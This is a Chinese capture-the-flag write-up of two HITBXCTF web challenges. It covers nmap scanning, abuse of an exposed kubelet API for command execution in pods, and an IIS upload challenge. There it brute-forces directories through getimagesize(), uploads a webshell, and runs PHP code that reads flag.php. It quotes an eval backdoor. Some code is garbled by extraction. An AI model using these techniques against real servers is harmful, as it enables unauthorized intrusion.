前几天在HITBXCTF划了波水,就做出了几个水题,不过题目考察的东西还是挺新的,写个Writeup记一下。
1. Web-Baby baby 1.1 题目要求 1 2 This is a pentest challenge, target 47.75 .146 .42 http:
1.2 解题步骤 直接访问没啥有价值的东西,使用Nmap扫描端口
命令:
1 nmap -v -sV -p- 47.75.146.42
结果
1 2 3 4 5 6 7 8 9 PORT STATE SERVICE VERSION22 /tcp open ssh OpenSSH 7 .4 (protocol 2 .0 )80 /tcp open http nginx 1 .12 .2 443 /tcp closed https2333 /tcp closed unknown3389 /tcp closed ms-wbt-server8009 /tcp closed ajp13 9999 /tcp open http nginx 1 .12 .2 10250 /tcp open ssl/unknown
大致测了测,9999端口不解析php, 直接访问:http://47.75.146.42:9999/index.php
下载index.php
1 2 3 4 5 6 This is a pentest challenge, open your mind! <img style ="width: 300px;" src ="jd.png" alt ="the picture is unrelated to this challenge, just a advertisement" /> <?php eval ($__POST ["backdoor" ]); ?>
没啥用,查10250端口,找到一篇博客,上面写得很详细,直接利用。
1 https://ri cterz.me/posts/Security%20Issues%20of%20Kubelet%20HTTP%28s%29%20Server
通过 /runningpods 获取正在运行的 Pod 列表:
1 https:// 47.75 .146.42 :10250 /runningpods
然后有命令执行漏洞,可以在容器里执行命令。一个个找flag
在根目录发现flag.txt,直接读取
HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}
2. Web-Upload 2.1 题目要求 1 2 Get shell ! http:// 47.90 .97.18 :9999
题目环境是Windows IIS7.0+php 直接右键查看源代码,发现提示。
访问一下,会返回default.jpg的长和宽
随便找个文件上传,回显了一个文件名。
令filename=返回的文件名,会给出上传图片的长和宽。
看样子后台用函数getimagesize()来处理文件,但是PHP中getimagesize()函数有漏洞,这和前几天dedecms爆后台目录的原理一眼,详情
1 http:// www.freebuf.com/column/ 164698 .html
然后可以借助pic.php的功能来穷举出上传文件的目录,由于爆破的人太多,使用burp单线程进行爆破,如图,这样就知道目录第一个字符是8,依次往后一位位找。
最后就能得到文件上传的目录
1 ?filename=..\. .\. .\. .\. .\. .\i netpub\w wwroot\8 7194f13726af7cee27ba2cfe97b60df\1 523619718.png
然后就可以直接上传shell。
参考链接:https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/
利用Windows系统特性,构造:
直接上传后,访问,成功解析。
在phpinofo()中查看被禁用的函数
1 assert,passthru,exec ,system ,chroot ,scandir,chgrp,chown ,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink ,symlink ,popepassthru,stream_socket_server,fsocket,fsockopen
构造代码列出目录文件。
1 2 3 4 5 6 7 8 9 10 11 function listDirFiles ($DirPath ) { if ($dir = opendir($DirPath )){ while (($file = readdir($dir ))!== false ){ if (!is_dir($DirPath .$file )) { echo "filename: $file <br />" ; } } } } listDirFiles('c:/Inetpub/wwwroot/' );
利用hackbar进行URL编码后上传。发现有flag.php
再构造代码
1 2 3 4 5 6 7 <?php $filename = "c:/Inetpub/wwwroot/flag.php" ; $handle = fopen($filename , "r" ); $contents = fread($h ![image](https: echo $contents ; fclose($handle );?>
成功获取flag